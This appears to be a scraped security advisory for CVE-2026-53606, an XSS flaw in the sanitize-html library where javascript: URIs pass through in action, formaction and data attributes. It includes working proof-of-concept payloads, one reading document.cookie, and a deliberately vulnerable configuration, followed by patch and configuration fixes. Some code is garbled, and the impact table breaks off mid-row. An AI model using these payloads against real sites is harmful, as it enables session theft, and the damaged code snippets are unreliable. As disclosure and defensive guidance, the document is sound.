sanitize-html, Incomplete URI Scheme Validation XSS, CVE-2026-53606 (MEDIUM) -DC-Aug2026-1206

Listen to this Post

How CVE-2026-53606 Works

The vulnerability resides in how sanitize-html gates its URI scheme validation. The library uses the `allowedSchemesAppliedToAttributes` configuration option (default: ['href', 'src', 'cite']) to determine which attributes should be checked by the `naughtyHref()` function. This function is responsible for blocking dangerous URI schemes like `javascript:` and vbscript:.
The problem is that the HTML specification defines over 10 attributes that accept URIs (action, formaction, data, poster, background, ping, xlink:href, dynsrc, lowsrc), but none of these are included in the default gate list. When a developer allows any of these attributes in their configuration (a non-default configuration), `javascript:` URIs pass through completely unmodified, enabling XSS.
The library has zero awareness of these URI-bearing attributes — none appear anywhere in the 854-line source file. No warning mechanism exists, and the README provides no security guidance about expanding `allowedSchemesAppliedToAttributes` when allowing form or media attributes.
The root cause is in `index.js:329` where the gate that controls scheme validation is defined:

if (options.allowedSchemesAppliedToAttributes.indexOf(a) >= 0) {
if (naughtyHref(name, value)) {
delete frame.attribs[bash];
return;
}
}

The default list at line 829 is: allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'].
The `naughtyHref()` function (lines 627-667) correctly blocks dangerous schemes, but it has exactly 2 call sites in the entire codebase (lines 330 and 395), both inside the `indexOf` gate. There is no ungated path.
When an attribute name is action, formaction, data, poster, background, etc.:
– `indexOf(‘action’)` returns `-1`
– The `if` block is skipped entirely
– `naughtyHref()` is never called
– `javascript:alert(1)` passes through unmodified
The `escapeHtml()` function at line 464 provides no defense — it only encodes `& < > “` characters, which are not present in javascript:alert(1).

Data Flow for a malicious payload:

1. `htmlparser2` parses → `tag=’form’`, `attribs={action:’javascript:alert(document.cookie)’}`

2. `index.js:298` → `allowedAttributes` check: `’action’` in developer config → PASS
3. `index.js:329` → `[‘href’,’src’,’cite’].indexOf(‘action’)` → `-1` → SKIP `naughtyHref()`

4. `index.js:464` → `escapeHtml(‘javascript:alert(document.cookie)’)` → unchanged

5. OUTPUT: `

`

DailyCVE Form

Platform: sanitize-html
Version: v1.18.0 – v2.17.4
Vulnerability: XSS via incomplete URI validation
Severity: MEDIUM (CVSS 5.4)
date: 2026-06-13

Prediction: 2026-06-13 (patched in v2.17.5)

What Undercode Say

Analytics:

Check if your project is using a vulnerable version
npm list sanitize-html
Check the version from package.json
cat package.json | grep sanitize-html
Verify the default allowedSchemesAppliedToAttributes list in the source
grep -n "allowedSchemesAppliedToAttributes" node_modules/sanitize-html/index.js
Check if naughtyHref is called for action attribute (should return nothing)
grep -n "naughtyHref" node_modules/sanitize-html/index.js

Vulnerable configuration example (DO NOT USE):

const sanitize = require('sanitize-html');
// VULNERABLE: Allows form with action attribute
const unsafeConfig = {
allowedTags: ['form', 'button'],
allowedAttributes: {
form: ['action']
}
};
// This will NOT strip javascript: URIs from action attribute
const result = sanitize('

<

form action="javascript:alert(1)">', unsafeConfig);
// Output:

<

form action="javascript:alert(1)">

Exploit

Vector 1: form action (100% reliable, all modern browsers)

const sanitize = require('sanitize-html');
const v1 = sanitize(
'

<form action="javascript:alert(document.cookie)"><button>Submit</button></form>

',
{
allowedTags: ['form', 'button'],
allowedAttributes: { form: ['action'] }
}
);
// OUTPUT:

<form action="javascript:alert(document.cookie)"><button>Submit</button></form>

// XSS triggers when user submits the form

Vector 2: button formaction (100% reliable)

const v2 = sanitize(
'<button formaction="javascript:alert(1)">Click</button>',
{
allowedTags: ['button'],
allowedAttributes: { button: ['formaction'] }
}
);
// OUTPUT: <button formaction="javascript:alert(1)">Click</button>

Vector 3: object data

const v3 = sanitize(
'<object data="javascript:alert(1)"></object>',
{
allowedTags: ['object'],
allowedAttributes: { object: ['data'] }
}
);
// OUTPUT: <object data="javascript:alert(1)"></object>

Control: href IS scheme-checked (expected behavior)

const ctrl = sanitize(
'<a href="javascript:alert(1)">click</a>',
{
allowedTags: ['a'],
allowedAttributes: { a: ['href'] }
}
);
// OUTPUT: <a>click</a> ← href correctly stripped by naughtyHref()

Protection

Option 1 (Recommended): Update to sanitize-html version 2.17.5 or later, which properly addresses the issue by expanding the scope of URI scheme validation to include all HTML attributes that can receive URI values.

npm install [email protected]

Option 2: If you cannot update immediately, manually expand the `allowedSchemesAppliedToAttributes` list in your configuration:

const sanitize = require('sanitize-html');
const safeConfig = {
allowedTags: ['form', 'button', 'object', 'video'],
allowedAttributes: {
form: ['action'],
button: ['formaction'],
object: ['data'],
video: ['poster']
},
// CRITICAL: Add all URI-bearing attributes to the scheme validation list
allowedSchemesAppliedToAttributes: [
'href', 'src', 'cite', 'action', 'formaction',
'data', 'poster', 'background', 'ping',
'xlink:href', 'dynsrc', 'lowsrc'
]
};
// Now javascript: URIs will be properly stripped from all attributes
const result = sanitize('

<

form action="javascript:alert(1)">', safeConfig);
// Output:

<

form> (action attribute stripped)

Option 3: Apply `naughtyHref()` to ALL attributes by default (invert the gate logic).
Option 4: Add a runtime warning when developers allow URI-bearing attributes not in `allowedSchemesAppliedToAttributes` (analogous to `vulnerableTags` warning for script/style at lines 124-129).
CSP Mitigation: Use Content Security Policy with `form-action` directive to mitigate form-based vectors.

Impact

An attacker can achieve XSS in applications that use sanitize-html with non-default configurations allowing URI-bearing attributes:

| Attack Vector | Impact |

|||

| `

` | XSS on form submission (all modern browsers) |
| `